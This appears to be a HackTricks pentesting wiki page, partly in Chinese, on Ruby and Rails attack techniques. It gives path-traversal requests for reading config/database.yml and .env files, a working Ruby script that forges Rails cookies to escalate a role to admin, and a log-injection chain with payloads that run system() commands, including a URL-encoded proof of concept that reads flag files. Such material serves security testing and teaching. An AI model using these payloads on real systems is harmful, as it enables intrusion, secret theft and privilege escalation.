9.3 KiB
Ruby 技巧
{{#include ../../banners/hacktricks-training.md}}
文件上传导致 RCE
As explained in this article, uploading a .rb
file into sensitive directories such as config/initializers/
can lead to remote code execution (RCE) in Ruby on Rails applications.
提示:
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,
config/initializers/
是典型的例子)。如果你发现任意文件上传被放到config/
下的任何位置并在随后被 evaluated/required,则可能在启动时获得 RCE。 - 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing
+ mini_magick
, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t]
and/or params[:v]
are attacker-controlled.
-
What to try during testing
-
Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-
Fuzz
params[:t]
andparams[:v]
for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. -
If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-
Remediation/detections
-
If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
image_processing
+mini_magick
and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack
prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static
when :root
is unset/misconfigured. Encoded traversal in PATH_INFO
can expose files under the process working directory or an unexpected root.
- Hunt for apps that mount
Rack::Static
inconfig.ru
or middleware stacks. Try encoded traversals against static paths, for example:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adjust the prefix to match configured urls:
. If the app responds with file contents, you likely have LFI to anything under the resolved :root
.
- Mitigation: upgrade Rack; ensure
:root
only points to a directory of public files and is explicitly set.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base
. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
用于解密并重新加密现代 cookies 的最小 Ruby 代码(AES-256-GCM,近期 Rails 的默认):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
注意:
- 较旧的应用可能使用 AES-256-CBC 和 salts
encrypted cookie
/signed encrypted cookie
,或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。 - 在妥协/评估时,旋转
secret_key_base
以使所有已存在的 cookies 失效。
另见 (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足:
- 按原样记录用户可控的字符串,且
- 之后通过
Pathname#cleanpath
处理后,从同一字符串派生路径并load
该文件,
通常可以通过污染日志然后强制应用 load
日志文件来实现远程代码执行。关键原语:
- Ruby 的
load
会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。 Pathname#cleanpath
在不访问文件系统的情况下折叠.
和..
段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如../logs/error.log
)。
最小易受攻击模式
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
为什么日志可以包含有效的 Ruby
Logger
写入类似以下的前缀行:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
在 Ruby 中,#
表示注释,9/2/2025
只是算术运算。要注入有效的 Ruby 代码,你需要:
- 在新行开始你的 payload,这样不会被 INFO 行中的
#
注释掉;发送一个前导换行符(\n
或%0A
)。 - 关闭 INFO 行引入的悬空
[
。常见技巧是以]
开头,并可选地用][0]=1
让解析器满意。 - 然后放入任意 Ruby 代码(例如
system(...)
)。
以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
构造一个既会记录代码又会解析为日志路径的单字符串
我们需要一个由攻击者控制的单个字符串,满足:
- 当原样记录时,包含我们的 Ruby payload,且
- 当通过
Pathname.new(<input>).cleanpath
处理时,解析为../logs/error.log
,因此随后对该刚被污染的日志文件执行load
。
Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- 在
://
前的#
确保 Ruby 在日志被执行时忽略尾部,而cleanpath
仍会将后缀简化为../logs/error.log
。 - 前导的 newline 会跳出 INFO 行;
]
关闭悬挂的括号;][0]=1
满足解析器。
End-to-end exploitation
- 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为
%0A
):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- 应用将你的原始字符串记录到
logs/error.log
。 - 应用计算
cleanpath
,解析为../logs/error.log
并对其调用load
。 - Ruby 会执行你注入到日志中的代码。
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (第一个字符是换行符):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
参考资料
- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
{{#include ../../banners/hacktricks-training.md}}